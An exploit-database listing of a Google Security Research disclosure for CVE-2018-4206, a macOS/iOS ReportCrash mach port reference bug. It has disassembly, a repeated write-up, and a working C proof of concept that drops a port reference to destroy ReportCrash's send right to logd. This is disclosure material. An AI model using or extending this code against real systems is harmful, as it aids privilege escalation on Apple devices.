Apple macOS/iOS - ReportCrash mach port Replacement due to Failure to Respect MIG Ownership Rules



EKU-ID: 7572 CVE: 2018-4206 OSVDB-ID:
Author: Google Security Research Published: 2018-05-03 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/*
ReportCrash is the daemon responsible for making crash dumps of crashing userspace processes.
Most processes can talk to ReportCrash via their exception ports (either task or host level.)
 
You would normally never send a message yourself to ReportCrash but the kernel would do it
on your behalf when you crash. However using the task_get_exception_ports or host_get_exception_ports
MIG kernel methods you can get a send right to ReportCrash.
 
ReportCrash implements a mach_exc subsystem (2405) server and expects to receive
mach_exception_raise_state_identity messages. The handler for these messages is at +0x2b11 in 10.13.3.
 
The handler compares its euid with the sender's; if they are different it jumps straight to the error path:
 
__text:0000000100002BD5                 cmp     rbx, rax
__text:0000000100002BD8                 mov     r14d, 5
__text:0000000100002BDE                 jnz     loc_100002DCF
 
__text:0000000100002DCF                 mov     rbx, cs:_mach_task_self__ptr
__text:0000000100002DD6                 mov     edi, [rbx]      ; task
__text:0000000100002DD8                 mov     rsi, qword ptr [rbp+name] ; name
__text:0000000100002DDC                 call    _mach_port_deallocate
__text:0000000100002DE1                 mov     edi, [rbx]      ; task
__text:0000000100002DE3                 mov     esi, r12d       ; name
__text:0000000100002DE6                 call    _mach_port_deallocate
__text:0000000100002DEB                 mov     rax, cs:___stack_chk_guard_ptr
__text:0000000100002DF2                 mov     rax, [rax]
__text:0000000100002DF5                 cmp     rax, [rbp+var_30]
__text:0000000100002DF9                 jnz     loc_10000314E
__text:0000000100002DFF                 mov     eax, r14d
 
 
This error path drops a UREF on the task and thread port arguments then returns error code 5.
 
MIG will see this error and drop another UREF on the thread and port arguments. As detailed in
the mach_portal exploit [https://bugs.chromium.org/p/project-zero/issues/detail?id=959] such bugs can
be used to replace privileged port names leading to exploitable conditions.
 
Since this path will only be triggered if you can talk to a ReportCrash running with a different euid
a plausible exploitation scenario would be trying to pivot from code execution in a sandbox root process
to another one with more privileges (eg kextd on MacOS or amfid on iOS) going via ReportCrash (as ReportCrash
will get sent their task ports if you can crash them.)
 
This PoC demonstrates the bug by destroying ReportCrash's send right to logd; use a debugger or lsmp to see
what's happening.
 
Tested on MacOS 10.13.3 17D47
*/
 
// ianbeer
 
#if 0
MacOS/iOS ReportCrash mach port replacement due to failure to respect MIG ownership rules
 
ReportCrash is the daemon responsible for making crash dumps of crashing userspace processes.
Most processes can talk to ReportCrash via their exception ports (either task or host level.)
 
You would normally never send a message yourself to ReportCrash but the kernel would do it
on your behalf when you crash. However using the task_get_exception_ports or host_get_exception_ports
MIG kernel methods you can get a send right to ReportCrash.
 
ReportCrash implements a mach_exc subsystem (2405) server and expects to receive
mach_exception_raise_state_identity messages. The handler for these messages is at +0x2b11 in 10.13.3.
 
The handler compares its euid with the sender's; if they are different it jumps straight to the error path:
 
__text:0000000100002BD5                 cmp     rbx, rax
__text:0000000100002BD8                 mov     r14d, 5
__text:0000000100002BDE                 jnz     loc_100002DCF
 
__text:0000000100002DCF                 mov     rbx, cs:_mach_task_self__ptr
__text:0000000100002DD6                 mov     edi, [rbx]      ; task
__text:0000000100002DD8                 mov     rsi, qword ptr [rbp+name] ; name
__text:0000000100002DDC                 call    _mach_port_deallocate
__text:0000000100002DE1                 mov     edi, [rbx]      ; task
__text:0000000100002DE3                 mov     esi, r12d       ; name
__text:0000000100002DE6                 call    _mach_port_deallocate
__text:0000000100002DEB                 mov     rax, cs:___stack_chk_guard_ptr
__text:0000000100002DF2                 mov     rax, [rax]
__text:0000000100002DF5                 cmp     rax, [rbp+var_30]
__text:0000000100002DF9                 jnz     loc_10000314E
__text:0000000100002DFF                 mov     eax, r14d
 
 
This error path drops a UREF on the task and thread port arguments then returns error code 5.
 
MIG will see this error and drop another UREF on the thread and port arguments. As detailed in
the mach_portal exploit [https://bugs.chromium.org/p/project-zero/issues/detail?id=959] such bugs can
be used to replace privileged port names leading to exploitable conditions.
 
Since this path will only be triggered if you can talk to a ReportCrash running with a different euid
a plausible exploitation scenario would be trying to pivot from code execution in a sandbox root process
to another one with more privileges (eg kextd on MacOS or amfid on iOS) going via ReportCrash (as ReportCrash
will get sent their task ports if you can crash them.)
 
This PoC demonstrates the bug by destroying ReportCrash's send right to logd; use a debugger or lsmp to see
what's happening.
 
Tested on MacOS 10.13.3 17D47
 
build: cp /usr/include/mach/mach_exc.defs . && mig mach_exc.defs && clang -o rc rc.c mach_excUser.c
run: sudo ./rc
 
#endif
 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <servers/bootstrap.h>
#include <mach/mach.h>
#include <mach/task.h>
 
#include "mach_exc.h"
#include <mach/exception_types.h>
 
 
void drop_ref(mach_port_t report_crash_port, mach_port_t target_port) {
  int flavor = 0;
  mach_msg_type_number_t new_stateCnt = 0;
  kern_return_t err = mach_exception_raise_state_identity(
        report_crash_port,
        target_port,
        MACH_PORT_NULL,
        0,
        0,
        0,
        &flavor,
        NULL,
        0,
        NULL,
        &new_stateCnt);
}
 
int main() {
  int uid = getuid();
  if (uid != 0) {
    printf("this PoC should be run as root\n");
    return 0;
  }
  // take a look at our exception ports:
  exception_mask_t masks[EXC_TYPES_COUNT] = {0};
  mach_msg_type_number_t count = EXC_TYPES_COUNT;
  mach_port_t ports[EXC_TYPES_COUNT] = {0};
  exception_behavior_t behaviors[EXC_TYPES_COUNT] = {0};
  thread_state_flavor_t flavors[EXC_TYPES_COUNT] = {0};
 
  kern_return_t err = host_get_exception_ports(mach_host_self(),
  //kern_return_t err = task_get_exception_ports(mach_task_self(),
                                               EXC_MASK_ALL,
                                               masks,
                                               &count,
                                               ports,
                                               behaviors,
                                               flavors);
  
  if (err != KERN_SUCCESS) {
    printf("failed to get the exception ports\n");
    return 0;
  }
 
  printf("count: %d\n", count);
 
  mach_port_t report_crash_port = MACH_PORT_NULL;
  
  for (int i = 0; i < count; i++) {
    mach_port_t port = ports[i];
    exception_mask_t mask = masks[i];
 
    printf("port: %x %08x\n", port, mask);
 
    if (mask & (1 << EXC_RESOURCE)) {
      report_crash_port = port;
    }
  }
  
  if (report_crash_port == MACH_PORT_NULL) {
    printf("couldn't find ReportCrash port\n");
    return 0;
  }
 
  printf("report crash port: 0x%x\n", report_crash_port);
 
  // the port we will target:
  mach_port_t bs = MACH_PORT_NULL;
  task_get_bootstrap_port(mach_task_self(), &bs);
  printf("targeting bootstrap port: %x\n", bs);
 
  mach_port_t service_port = MACH_PORT_NULL;
  err = bootstrap_look_up(bs, "com.apple.logd", &service_port);
  if(err != KERN_SUCCESS){
    printf("unable to look up target service\n");
    return 0;
  }
  printf("got service: 0x%x\n", service_port);
 
  // triggering the bug requires that we send from a different uid
  // drop to everyone(12)
 
  int setuiderr = setuid(12);
  if (setuiderr != 0) {
    printf("setuid failed...\n");
    return 0;
  }
  printf("dropped to uid 12\n");
 
  drop_ref(report_crash_port, service_port);
 
  return 0;
}